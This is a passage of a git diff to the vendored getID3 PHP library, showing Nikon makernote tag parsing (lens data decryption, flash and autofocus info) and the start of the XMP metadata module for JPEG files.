'dst' => $dst, + 'display' => $datedisplayformat + ); + break; + case 0x02000025: // ISOInfo + $data = array( + 'ISO' => (int)ceil(100 * pow(2, ord(substr($data, 0, 1)) / 12 - 5)), + 'ISOExpansion' => static::$isoInfoExpansions[getid3_lib::BigEndian2Int(substr($data, 4, 2))], + 'ISO2' => (int)ceil(100 * pow(2, ord(substr($data, 6, 1)) / 12 - 5)), + 'ISOExpansion2' => static::$isoInfoExpansions2[getid3_lib::BigEndian2Int(substr($data, 10, 2))] + ); + break; + case 0x0200002a: // VignetteControl + $data = isset(static::$vignetteControls[$data]) ? static::$vignetteControls[$data] : $data; + break; + case 0x0200002c: // UnknownInfo + $data = array( + 'UnknownInfoVersion' => substr($data, 0, 4), + ); + break; + case 0x02000032: // UnknownInfo2 + $data = array( + 'UnknownInfo2Version' => substr($data, 0, 4), + ); + break; + case 0x02000039: // LocationInfo + $encoding = isset(static::$nikonTextEncodings[ord(substr($data, 4, 1))]) + ? static::$nikonTextEncodings[ord(substr($data, 4, 1))] + : null; + $data = array( + 'LocationInfoVersion' => substr($data, 0, 4), + 'TextEncoding' => $encoding, + 'CountryCode' => trim(substr($data, 5, 3), "\x00"), + 'POILevel' => ord(substr($data, 8, 1)), + 'Location' => getid3_lib::iconv_fallback($encoding, $this->getid3->info['encoding'], substr($data, 9, 70)), + ); + break; + case 0x02000083: // LensType + if ($data) { + $decodedBits = array( + '1' => (bool) (($data >> 4) & 1), + 'MF' => (bool) (($data >> 0) & 1), + 'D' => (bool) (($data >> 1) & 1), + 'E' => (bool) (($data >> 6) & 1), + 'G' => (bool) (($data >> 2) & 1), + 'VR' => (bool) (($data >> 3) & 1), + '[7]' => (bool) (($data >> 7) & 1), // AF-P? + '[8]' => (bool) (($data >> 5) & 1) // FT-1? + ); + if ($decodedBits['D'] === true && $decodedBits['G'] === true) { + $decodedBits['D'] = false; + } + } else { + $decodedBits = array('AF' => true); + } + $data = $decodedBits; + break; + case 0x0110a432: // LensInfo + case 0x02000084: // Lens + if (count($data) !== 4) { + break; + } + + $value = $data[0]; + if ($data[1] && $data[1] !== $data[0]) { + $value .= '-' . $data[1]; + } + $value .= 'mm f/' . $data[2]; + if ($data[3] && $data[3] !== $data[2]) { + $value .= '-' . $data[3]; + } + $data = $value; + break; + case 0x02000087: // FlashMode + $data = isset(static::$flashModes[$data]) ? static::$flashModes[$data] : $data; + break; + case 0x02000098: // LensData + $version = substr($data, 0, 4); + + switch ($version) { + case '0100': + $data = array( + 'LensDataVersion' => $version, + 'LensIDNumber' => ord(substr($data, 6, 1)), + 'LensFStops' => ord(substr($data, 7, 1)) / 12, + 'MinFocalLength' => 5 * pow(2, ord(substr($data, 8, 1)) / 24), // mm + 'MaxFocalLength' => 5 * pow(2, ord(substr($data, 9, 1)) / 24), // mm + 'MaxApertureAtMinFocal' => pow(2, ord(substr($data, 10, 1)) / 24), + 'MaxApertureAtMaxFocal' => pow(2, ord(substr($data, 11, 1)) / 24), + 'MCUVersion' => ord(substr($data, 12, 1)), + ); + break; + case '0101': + case '0201': + case '0202': + case '0203': + $isEncrypted = $version !== '0101'; + if ($isEncrypted) { + $data = $this->decryptLensInfo($data, $serialNumber, $shutterCount, 4); + } + + $data = array( + 'LensDataVersion' => $version, + 'ExitPupilPosition' => ord(substr($data, 4, 1)) > 0 ? 2048 / ord(substr($data, 4, 1)) : 0, // mm + 'AFAperture' => pow(2, ord(substr($data, 5, 1)) / 24), + 'FocusPosition' => '0x' . str_pad(strtoupper(dechex(ord(substr($data, 8, 1)))), 2, '0', STR_PAD_LEFT), + 'FocusDistance' => 0.01 * pow(10, ord(substr($data, 9, 1)) / 40), // m + 'FocalLength' => 5 * pow(2, ord(substr($data, 10, 1)) / 24), // mm + 'LensIDNumber' => ord(substr($data, 11, 1)), + 'LensFStops' => ord(substr($data, 12, 1)) / 12, + 'MinFocalLength' => 5 * pow(2, ord(substr($data, 13, 1)) / 24), // mm + 'MaxFocalLength' => 5 * pow(2, ord(substr($data, 14, 1)) / 24), // mm + 'MaxApertureAtMinFocal' => pow(2, ord(substr($data, 15, 1)) / 24), + 'MaxApertureAtMaxFocal' => pow(2, ord(substr($data, 16, 1)) / 24), + 'MCUVersion' => ord(substr($data, 17, 1)), + 'EffectiveMaxAperture' => pow(2, ord(substr($data, 18, 1)) / 24), + ); + break; + case '0204': + $data = $this->decryptLensInfo($data, $serialNumber, $shutterCount, 4); + + $data = array( + 'LensDataVersion' => $version, + 'ExitPupilPosition' => ord(substr($data, 4, 1)) > 0 ? 2048 / ord(substr($data, 4, 1)) : 0, // mm + 'AFAperture' => pow(2, ord(substr($data, 5, 1)) / 24), + 'FocusPosition' => '0x' . str_pad(strtoupper(dechex(ord(substr($data, 8, 1)))), 2, '0', STR_PAD_LEFT), + 'FocusDistance' => 0.01 * pow(10, ord(substr($data, 10, 1)) / 40), // m + 'FocalLength' => 5 * pow(2, ord(substr($data, 11, 1)) / 24), // mm + 'LensIDNumber' => ord(substr($data, 12, 1)), + 'LensFStops' => ord(substr($data, 13, 1)) / 12, + 'MinFocalLength' => 5 * pow(2, ord(substr($data, 14, 1)) / 24), // mm + 'MaxFocalLength' => 5 * pow(2, ord(substr($data, 15, 1)) / 24), // mm + 'MaxApertureAtMinFocal' => pow(2, ord(substr($data, 16, 1)) / 24), + 'MaxApertureAtMaxFocal' => pow(2, ord(substr($data, 17, 1)) / 24), + 'MCUVersion' => ord(substr($data, 18, 1)), + 'EffectiveMaxAperture' => pow(2, ord(substr($data, 19, 1)) / 24), + ); + break; + case '0400': + case '0401': + $data = $this->decryptLensInfo($data, $serialNumber, $shutterCount, 4); + + $data = array( + 'LensDataVersion' => $version, + 'LensModel' => substr($data, 394, 64), + ); + break; + case '0402': + $data = $this->decryptLensInfo($data, $serialNumber, $shutterCount, 4); + + $data = array( + 'LensDataVersion' => $version, + 'LensModel' => substr($data, 395, 64), + ); + break; + case '0403': + $data = $this->decryptLensInfo($data, $serialNumber, $shutterCount, 4); + + $data = array( + 'LensDataVersion' => $version, + 'LensModel' => substr($data, 684, 64), + ); + break; + case '0800': + case '0801': + $data = $this->decryptLensInfo($data, $serialNumber, $shutterCount, 4); + + $newData = array( + 'LensDataVersion' => $version, + ); + + if (!preg_match('#^.\0+#s', substr($data, 3, 17))) { + $newData['ExitPupilPosition'] = ord(substr($data, 4, 1)) > 0 ? 2048 / ord(substr($data, 4, 1)) : 0; // mm + $newData['AFAperture'] = pow(2, ord(substr($data, 5, 1)) / 24); + $newData['FocusPosition'] = '0x' . str_pad(strtoupper(dechex(ord(substr($data, 9, 1)))), 2, '0', STR_PAD_LEFT); + $newData['FocusDistance'] = 0.01 * pow(10, ord(substr($data, 11, 1)) / 40); // m + $newData['FocalLength'] = 5 * pow(2, ord(substr($data, 12, 1)) / 24); // mm + $newData['LensIDNumber'] = ord(substr($data, 13, 1)); + $newData['LensFStops'] = ord(substr($data, 14, 1)) / 12; + $newData['MinFocalLength'] = 5 * pow(2, ord(substr($data, 15, 1)) / 24); // mm + $newData['MaxFocalLength'] = 5 * pow(2, ord(substr($data, 16, 1)) / 24); // mm + $newData['MaxApertureAtMinFocal'] = pow(2, ord(substr($data, 17, 1)) / 24); + $newData['MaxApertureAtMaxFocal'] = pow(2, ord(substr($data, 18, 1)) / 24); + $newData['MCUVersion'] = ord(substr($data, 19, 1)); + $newData['EffectiveMaxAperture'] = pow(2, ord(substr($data, 20, 1)) / 24); + } + + if (!preg_match('#^.\0+#s', substr($data, 47, 17))) { + $newData['LensID'] = static::$NikkorZLensIDS[getid3_lib::LittleEndian2Int(substr($data, 48, 2))]; + $newData['MaxAperture'] = pow(2, (getid3_lib::LittleEndian2Int(substr($data, 54, 2)) / 384 - 1)); + $newData['FNumber'] = pow(2, (getid3_lib::LittleEndian2Int(substr($data, 56, 2)) / 384 - 1)); + $newData['FocalLength'] = getid3_lib::LittleEndian2Int(substr($data, 60, 2)); // mm + $newData['FocusDistance'] = 0.01 * pow(10, ord(substr($data, 79, 1)) / 40); // m + } + + $data = $newData; + break; + default: + // $data = $this->decryptLensInfo($data, $serialNumber, $shutterCount, 4); + + $data = array( + 'LensDataVersion' => $version, + ); + break; + } + break; + case 0x020000a7: // ShutterCount + $shutterCount = $data; + break; + case 0x020000a8: // FlashInfo + $version = substr($data, 0, 4); + + switch ($version) { + case '0100': + case '0101': + $data = array( + 'FlashInfoVersion' => substr($data, 0, 4), + 'FlashSource' => static::$flashInfoSources[ord(substr($data, 4, 1))], + 'ExternalFlashFirmware' => $this->flashFirmwareLookup(ord(substr($data, 6, 1)), ord(substr($data, 7, 1))), + 'ExternalFlashFlags' => $this->externalFlashFlagsLookup(ord(substr($data, 8, 1))), + 'FlashCommanderMode' => (bool)(ord(substr($data, 9, 1)) & 0x80), + 'FlashControlMode' => static::$flashInfoControlModes[ord(substr($data, 9, 1)) & 0x7F], + 'FlashOutput' => (ord(substr($data, 9, 1)) & 0x7F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 10, 1)) / 6) * 100)) : 0, + 'FlashCompensation' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 10, 1), false, true) / 6), + 'FlashFocalLength' => ord(substr($data, 11, 1)), // mm + 'RepeatingFlashRate' => ord(substr($data, 12, 1)), // Hz + 'RepeatingFlashCount' => ord(substr($data, 13, 1)), + 'FlashGNDistance' => static::$flashInfoGNDistances[ord(substr($data, 14, 1))], + 'FlashGroupAControlMode' => static::$flashInfoControlModes[ord(substr($data, 15, 1)) & 0x0F], + 'FlashGroupBControlMode' => static::$flashInfoControlModes[ord(substr($data, 16, 1)) & 0x0F], + 'FlashGroupAOutput' => (ord(substr($data, 15, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 17, 1)) / 6) * 100)) : 0, + 'FlashGroupACompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 17, 1), false, true) / 6), + 'FlashGroupBOutput' => (ord(substr($data, 16, 1)) & 0xF0) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 18, 1)) / 6) * 100)) : 0, + 'FlashGroupBCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 18, 1), false, true) / 6), + ); + break; + case '0102': + $data = array( + 'FlashInfoVersion' => substr($data, 0, 4), + 'FlashSource' => static::$flashInfoSources[ord(substr($data, 4, 1))], + 'ExternalFlashFirmware' => $this->flashFirmwareLookup(ord(substr($data, 6, 1)), ord(substr($data, 7, 1))), + 'ExternalFlashFlags' => $this->externalFlashFlagsLookup(ord(substr($data, 8, 1))), + 'FlashCommanderMode' => (bool)(ord(substr($data, 9, 1)) & 0x80), + 'FlashControlMode' => static::$flashInfoControlModes[ord(substr($data, 9, 1)) & 0x7F], + 'FlashOutput' => (ord(substr($data, 9, 1)) & 0x7F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 10, 1)) / 6) * 100)) : 0, + 'FlashCompensation' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 10, 1), false, true) / 6), + 'FlashFocalLength' => ord(substr($data, 12, 1)), // mm + 'RepeatingFlashRate' => ord(substr($data, 13, 1)), // Hz + 'RepeatingFlashCount' => ord(substr($data, 14, 1)), + 'FlashGNDistance' => static::$flashInfoGNDistances[ord(substr($data, 15, 1))], + 'FlashGroupAControlMode' => static::$flashInfoControlModes[ord(substr($data, 16, 1)) & 0x0F], + 'FlashGroupBControlMode' => static::$flashInfoControlModes[ord(substr($data, 17, 1)) & 0xF0], + 'FlashGroupCControlMode' => static::$flashInfoControlModes[ord(substr($data, 17, 1)) & 0x0F], + 'FlashGroupAOutput' => (ord(substr($data, 16, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 18, 1)) / 6) * 100)) : 0, + 'FlashGroupACompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 18, 1), false, true) / 6), + 'FlashGroupBOutput' => (ord(substr($data, 17, 1)) & 0xF0) >= 0x60 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 19, 1)) / 6) * 100)) : 0, + 'FlashGroupBCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 19, 1), false, true) / 6), + 'FlashGroupCOutput' => (ord(substr($data, 17, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 20, 1)) / 6) * 100)) : 0, + 'FlashGroupCCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 20, 1), false, true) / 6), + ); + break; + case '0103': + case '0104': + case '0105': + $data = array( + 'FlashInfoVersion' => substr($data, 0, 4), + 'FlashSource' => static::$flashInfoSources[ord(substr($data, 4, 1))], + 'ExternalFlashFirmware' => $this->flashFirmwareLookup(ord(substr($data, 6, 1)), ord(substr($data, 7, 1))), + 'ExternalFlashFlags' => $this->externalFlashFlagsLookup(ord(substr($data, 8, 1))), + 'FlashCommanderMode' => (bool)(ord(substr($data, 9, 1)) & 0x80), + 'FlashControlMode' => static::$flashInfoControlModes[ord(substr($data, 9, 1)) & 0x7F], + 'FlashOutput' => (ord(substr($data, 9, 1)) & 0x7F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 10, 1)) / 6) * 100)) : 0, + 'FlashCompensation' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 10, 1), false, true) / 6), + 'FlashFocalLength' => ord(substr($data, 12, 1)), // mm + 'RepeatingFlashRate' => ord(substr($data, 13, 1)), // Hz + 'RepeatingFlashCount' => ord(substr($data, 14, 1)), + 'FlashGNDistance' => static::$flashInfoGNDistances[ord(substr($data, 15, 1))], + 'FlashColorFilter' => static::$flashInfoColorFilters[ord(substr($data, 16, 1))], + 'FlashGroupAControlMode' => static::$flashInfoControlModes[ord(substr($data, 17, 1)) & 0x0F], + 'FlashGroupBControlMode' => static::$flashInfoControlModes[ord(substr($data, 18, 1)) & 0xF0], + 'FlashGroupCControlMode' => static::$flashInfoControlModes[ord(substr($data, 18, 1)) & 0x0F], + 'FlashGroupAOutput' => (ord(substr($data, 17, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 19, 1)) / 6) * 100)) : 0, + 'FlashGroupACompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 19, 1), false, true) / 6), + 'FlashGroupBOutput' => (ord(substr($data, 18, 1)) & 0xF0) >= 0x60 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 20, 1)) / 6) * 100)) : 0, + 'FlashGroupBCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 20, 1), false, true) / 6), + 'FlashGroupCOutput' => (ord(substr($data, 18, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 21, 1)) / 6) * 100)) : 0, + 'FlashGroupCCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 21, 1), false, true) / 6), + 'ExternalFlashCompensation' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 27, 1), false, true) / 6), + 'FlashExposureComp3' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 29, 1), false, true) / 6), + 'FlashExposureComp4' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 39, 1), false, true) / 6), + ); + break; + case '0106': + $data = array( + 'FlashInfoVersion' => substr($data, 0, 4), + 'FlashSource' => static::$flashInfoSources[ord(substr($data, 4, 1))], + 'ExternalFlashFirmware' => $this->flashFirmwareLookup(ord(substr($data, 6, 1)), ord(substr($data, 7, 1))), + 'ExternalFlashFlags' => $this->externalFlashFlagsLookup(ord(substr($data, 8, 1))), + 'FlashCommanderMode' => (bool)(ord(substr($data, 9, 1)) & 0x80), + 'FlashControlMode' => static::$flashInfoControlModes[ord(substr($data, 9, 1)) & 0x7F], + 'FlashFocalLength' => ord(substr($data, 12, 1)), // mm + 'RepeatingFlashRate' => ord(substr($data, 13, 1)), // Hz + 'RepeatingFlashCount' => ord(substr($data, 14, 1)), + 'FlashGNDistance' => self::$flashInfoGNDistances[ord(substr($data, 15, 1))], + 'FlashColorFilter' => static::$flashInfoColorFilters[ord(substr($data, 16, 1))], + 'FlashGroupAControlMode' => static::$flashInfoControlModes[ord(substr($data, 17, 1)) & 0x0F], + 'FlashGroupBControlMode' => static::$flashInfoControlModes[ord(substr($data, 18, 1)) & 0xF0], + 'FlashGroupCControlMode' => static::$flashInfoControlModes[ord(substr($data, 18, 1)) & 0x0F], + 'FlashOutput' => (ord(substr($data, 9, 1)) & 0x7F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 39, 1)) / 6) * 100)) : 0, + 'FlashCompensation' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 39, 1), false, true) / 6), + 'FlashGroupAOutput' => (ord(substr($data, 17, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 40, 1)) / 6) * 100)) : 0, + 'FlashGroupACompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 40, 1), false, true) / 6), + 'FlashGroupBOutput' => (ord(substr($data, 18, 1)) & 0xF0) >= 0x60 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 41, 1)) / 6) * 100)) : 0, + 'FlashGroupBCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 41, 1), false, true) / 6), + 'FlashGroupCOutput' => (ord(substr($data, 18, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 42, 1)) / 6) * 100)) : 0, + 'FlashGroupCCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 42, 1), false, true) / 6), + ); + break; + case '0107': + case '0108': + $data = array( + 'FlashInfoVersion' => substr($data, 0, 4), + 'FlashSource' => static::$flashInfoSources[ord(substr($data, 4, 1))], + 'ExternalFlashFirmware' => $this->flashFirmwareLookup(ord(substr($data, 6, 1)), ord(substr($data, 7, 1))), + 'ExternalFlashZoomOverride' => (bool)(ord(substr($data, 8, 1)) & 0x80), + 'ExternalFlashStatus' => static::$flashInfoExternalFlashStatuses[ord(substr($data, 8, 1)) & 0x01], + 'ExternalFlashReadyState' => static::$flashInfoExternalFlashReadyStates[ord(substr($data, 9, 1)) & 0x07], + 'FlashCompensation' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 10, 1), false, true) / 6), + 'FlashFocalLength' => ord(substr($data, 12, 1)), // mm + 'RepeatingFlashRate' => ord(substr($data, 13, 1)), // Hz + 'RepeatingFlashCount' => ord(substr($data, 14, 1)), + 'FlashGNDistance' => static::$flashInfoGNDistances[ord(substr($data, 15, 1))], + 'FlashGroupAControlMode' => static::$flashInfoControlModes[ord(substr($data, 17, 1)) & 0x0F], + 'FlashGroupBControlMode' => static::$flashInfoControlModes[ord(substr($data, 18, 1)) & 0xF0], + 'FlashGroupCControlMode' => static::$flashInfoControlModes[ord(substr($data, 18, 1)) & 0x0F], + 'FlashGroupAOutput' => (ord(substr($data, 17, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 40, 1)) / 6) * 100)) : 0, + 'FlashGroupACompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 40, 1), false, true) / 6), + 'FlashGroupBOutput' => (ord(substr($data, 18, 1)) & 0xF0) >= 0x60 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 41, 1)) / 6) * 100)) : 0, + 'FlashGroupBCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 41, 1), false, true) / 6), + 'FlashGroupCOutput' => (ord(substr($data, 18, 1)) & 0x0F) >= 0x06 ? sprintf('%.0f%%', pow(2, (-ord(substr($data, 42, 1)) / 6) * 100)) : 0, + 'FlashGroupCCompensation' => sprintf('%+.1f', -getid3_lib::BigEndian2Int(substr($data, 42, 1), false, true) / 6), + ); + break; + case '0300': + $data = array( + 'FlashInfoVersion' => substr($data, 0, 4), + 'FlashSource' => static::$flashInfoSources[ord(substr($data, 4, 1))], + 'ExternalFlashFirmware' => $this->flashFirmwareLookup(ord(substr($data, 6, 1)), ord(substr($data, 7, 1))), + 'FlashCompensation' => $this->printFraction(-getid3_lib::BigEndian2Int(substr($data, 27, 1), false, true) / 6), + ); + break; + default: + $data = array( + 'FlashInfoVersion' => substr($data, 0, 4), + ); + break; + } + break; + case 0x020000b1: // HighISONoiseReduction + $data = isset(static::$highISONoiseReductions[$data]) ? static::$highISONoiseReductions[$data] : $data; + break; + case 0x020000b7: // AFInfo2 + $avInfo2Version = substr($data, 0, 4); + $contrastDetectAF = ord(substr($data, 4, 1)); + $phaseDetectAF = ord(substr($data, 6, 1)); + $rows = array( + 'AFInfo2Version' => $avInfo2Version, + 'ContrastDetectAF' => static::$AFInfo2ContrastDetectAFChoices[$contrastDetectAF], + 'AFAreaMode' => $contrastDetectAF + ? static::$AFInfo2AFAreaModesWithContrastDetectAF[ord(substr($data, 5, 1))] + : static::$AFInfo2AFAreaModesWithoutContrastDetectAF[ord(substr($data, 5, 1))], + 'PhaseDetectAF' => static::$AFInfo2PhaseDetectAFChoices[$phaseDetectAF], + ); + + if ($avInfo2Version === '0100') { + $rows['AFImageWidth'] = getid3_lib::BigEndian2Int(substr($data, 16, 2)); + $rows['AFImageHeight'] = getid3_lib::BigEndian2Int(substr($data, 18, 2)); + $rows['AFAreaXPosition'] = getid3_lib::BigEndian2Int(substr($data, 20, 2)); + $rows['AFAreaYPosition'] = getid3_lib::BigEndian2Int(substr($data, 22, 2)); + $rows['AFAreaWidth'] = getid3_lib::BigEndian2Int(substr($data, 24, 2)); + $rows['AFAreaHeight'] = getid3_lib::BigEndian2Int(substr($data, 26, 2)); + $rows['ContrastDetectAFInFocus'] = (bool)ord(substr($data, 28, 1)); + } elseif (strpos($avInfo2Version, '03') === 0) { + $rows['AFImageWidth'] = getid3_lib::BigEndian2Int(substr($data, 42, 2)); + $rows['AFImageHeight'] = getid3_lib::BigEndian2Int(substr($data, 44, 2)); + if ($contrastDetectAF === 2 + || ($contrastDetectAF === 1 && $avInfo2Version === '0301') + ) { + $rows['AFAreaXPosition'] = getid3_lib::BigEndian2Int(substr($data, 46, 2)); + $rows['AFAreaYPosition'] = getid3_lib::BigEndian2Int(substr($data, 48, 2)); + } + $rows['AFAreaWidth'] = getid3_lib::BigEndian2Int(substr($data, 50, 2)); + $rows['AFAreaHeight'] = getid3_lib::BigEndian2Int(substr($data, 52, 2)); + } elseif ($contrastDetectAF === 1 && $avInfo2Version === '0101') { + $rows['AFImageWidth'] = getid3_lib::BigEndian2Int(substr($data, 70, 2)); + $rows['AFImageHeight'] = getid3_lib::BigEndian2Int(substr($data, 72, 2)); + $rows['AFAreaXPosition'] = getid3_lib::BigEndian2Int(substr($data, 74, 2)); + $rows['AFAreaYPosition'] = getid3_lib::BigEndian2Int(substr($data, 76, 2)); + $rows['AFAreaWidth'] = getid3_lib::BigEndian2Int(substr($data, 78, 2)); + $rows['AFAreaHeight'] = getid3_lib::BigEndian2Int(substr($data, 80, 2)); + $rows['ContrastDetectAFInFocus'] = (bool) ord(substr($data, 82, 1)); + } + + $data = $rows; + break; + case 0x020000c3: // BarometerInfo + $data = array( + 'BarometerInfoVersion' => substr($data, 0, 4), + 'Altitude' => getid3_lib::BigEndian2Int(substr($data, 6, 4), false, true), // m + ); + break; + } + $tag_name = (isset($NCTGtagName[$record_type]) ? $NCTGtagName[$record_type] : '0x' . str_pad(dechex($record_type), 8, '0', STR_PAD_LEFT)); + + $parsed[$tag_name] = $data; + } + } + + return $parsed; + } + + /** + * @param int $value 0x80 subtracted + * @param string $normalName 'Normal' (0 value) string + * @param string|null $format format string for numbers (default '%+d'), 3) v2 divisor + * @param int|null $div + * + * @return string + */ + protected function printPC($value, $normalName = 'Normal', $format = '%+d', $div = 1) { + switch ($value) { + case 0: + return $normalName; + case 0x7f: + return 'n/a'; + case -0x80: + return 'Auto'; + case -0x7f: + return 'User'; + } + + return sprintf($format, $value / $div); + } + + /** + * @param int|float $value + * + * @return string + */ + protected function printFraction($value) { + if (!$value) { + return '0'; + } elseif ((int) $value /$value > 0.999) { + return sprintf("%+d", (int) $value); + } elseif ((int) ($value * 2) / ($value * 2) > 0.999) { + return sprintf("%+d/2", (int) ($value * 2)); + } elseif ((int) ($value * 3) / ($value * 3) > 0.999) { + return sprintf("%+d/3", (int) ($value * 3)); + } + + return sprintf("%+.3g", $value); + } + + /** + * @param int $firstByte + * @param int $secondByte + * + * @return string + */ + protected function flashFirmwareLookup($firstByte, $secondByte) + { + $indexKey = $firstByte.' '.$secondByte; + if (isset(static::$flashInfoExternalFlashFirmwares[$indexKey])) { + return static::$flashInfoExternalFlashFirmwares[$indexKey]; + } + + return sprintf('%d.%.2d (Unknown model)', $firstByte, $secondByte); + } + + /** + * @param int $flags + * + * @return string[]|string + */ + protected function externalFlashFlagsLookup($flags) + { + $result = array(); + foreach (static::$flashInfoExternalFlashFlags as $bit => $value) { + if (($flags >> $bit) & 1) { + $result[] = $value; + } + } + + return $result; + } + + /** + * @param string $data + * @param mixed|null $serialNumber + * @param mixed|null $shutterCount + * @param int $decryptStart + * + * @return false|string + */ + protected function decryptLensInfo( + $data, + $serialNumber = null, + $shutterCount = null, + $decryptStart = 0 + ) { + if (null === $serialNumber && null === $shutterCount) { + return false; + } + + if (!is_int($serialNumber) || !is_int($shutterCount)) { + if (null !== $serialNumber && null !== $shutterCount) { + $this->getid3->warning('Invalid '.(!is_int($serialNumber) ? 'SerialNumber' : 'ShutterCount')); + } else { + $this->getid3->warning('Cannot decrypt Nikon tags because '.(null === $serialNumber ? 'SerialNumber' : 'ShutterCount').' key is not defined.'); + } + + return false; + } + + $start = $decryptStart; + $length = strlen($data) - $start; + + return $this->decrypt($data, $serialNumber, $shutterCount, $start, $length); + } + + /** + * Decrypt Nikon data block + * + * @param string $data + * @param int $serialNumber + * @param int $count + * @param int $start + * @param int $length + * + * @return string + */ + protected function decrypt($data, $serialNumber, $count, $start = 0, $length = null) + { + $maxLen = strlen($data) - $start; + if (null === $length || $length > $maxLen) { + $length = $maxLen; + } + + if ($length <= 0) { + return $data; + } + + $key = 0; + for ($i = 0; $i < 4; ++$i) { + $key ^= ($count >> ($i * 8)) & 0xFF; + } + $ci = static::$decodeTables[0][$serialNumber & 0xff]; + $cj = static::$decodeTables[1][$key]; + $ck = 0x60; + $unpackedData = array(); + for ($i = $start; $i < $length + $start; ++$i) { + $cj = ($cj + $ci * $ck) & 0xff; + $ck = ($ck + 1) & 0xff; + $unpackedData[] = ord($data[$i]) ^ $cj; + } + + $end = $start + $length; + $pre = $start ? substr($data, 0, $start) : ''; + $post = $end < strlen($data) ? substr($data, $end) : ''; + + return $pre . implode('', array_map('chr', $unpackedData)) . $post; + } + + /** + * Get serial number for use as a decryption key + * + * @param string $serialNumber + * @param string|null $model + * + * @return int|null + */ + protected function serialKey($serialNumber, $model = null) + { + if (empty($serialNumber) || ctype_digit($serialNumber)) { + return (int) $serialNumber; + } + + if (null !== $model && preg_match('#\bD50$#', $model)) { + return 0x22; + } + + return 0x60; + } +} diff --git a/vendor/james-heinrich/getid3/getid3/module.tag.xmp.php b/vendor/james-heinrich/getid3/getid3/module.tag.xmp.php index b6050049e8..23c0d1abc1 100644 --- a/vendor/james-heinrich/getid3/getid3/module.tag.xmp.php +++ b/vendor/james-heinrich/getid3/getid3/module.tag.xmp.php @@ -1,777 +1,777 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.tag.xmp.php // -// module for analyzing XMP metadata (e.g. in JPEG files) // -// dependencies: NONE // -// // -///////////////////////////////////////////////////////////////// -// // -// Module originally written [2009-Mar-26] by // -// Nigel Barnes // -// Bundled into getID3 with permission // -// called by getID3 in module.graphic.jpg.php // -// /// -///////////////////////////////////////////////////////////////// - -/************************************************************************************************** - * SWISScenter Source Nigel Barnes - * - * Provides functions for reading information from the 'APP1' Extensible Metadata - * Platform (XMP) segment of JPEG format files. - * This XMP segment is XML based and contains the Resource Description Framework (RDF) - * data, which itself can contain the Dublin Core Metadata Initiative (DCMI) information. - * - * This code uses segments from the JPEG Metadata Toolkit project by Evan Hunter. - *************************************************************************************************/ -class Image_XMP -{ - /** - * @var string - * The name of the image file that contains the XMP fields to extract and modify. - * @see Image_XMP() - */ - public $_sFilename = null; - - /** - * @var array - * The XMP fields that were extracted from the image or updated by this class. - * @see getAllTags() - */ - public $_aXMP = array(); - - /** - * @var boolean - * True if an APP1 segment was found to contain XMP metadata. - * @see isValid() - */ - public $_bXMPParse = false; - - /** - * Returns the status of XMP parsing during instantiation - * - * You'll normally want to call this method before trying to get XMP fields. - * - * @return boolean - * Returns true if an APP1 segment was found to contain XMP metadata. - */ - public function isValid() - { - return $this->_bXMPParse; - } - - /** - * Get a copy of all XMP tags extracted from the image - * - * @return array - An array of XMP fields as it extracted by the XMPparse() function - */ - public function getAllTags() - { - return $this->_aXMP; - } - - /** - * Reads all the JPEG header segments from an JPEG image file into an array - * - * @param string $filename - the filename of the JPEG file to read - * @return array|false $headerdata - Array of JPEG header segments, - * FALSE - if headers could not be read - */ - public function _get_jpeg_header_data($filename) - { - // prevent refresh from aborting file operations and hosing file - ignore_user_abort(true); - - // Attempt to open the jpeg file - the at symbol supresses the error message about - // not being able to open files. The file_exists would have been used, but it - // does not work with files fetched over http or ftp. - if (is_readable($filename) && is_file($filename) && ($filehnd = fopen($filename, 'rb'))) { - // great - } else { - return false; - 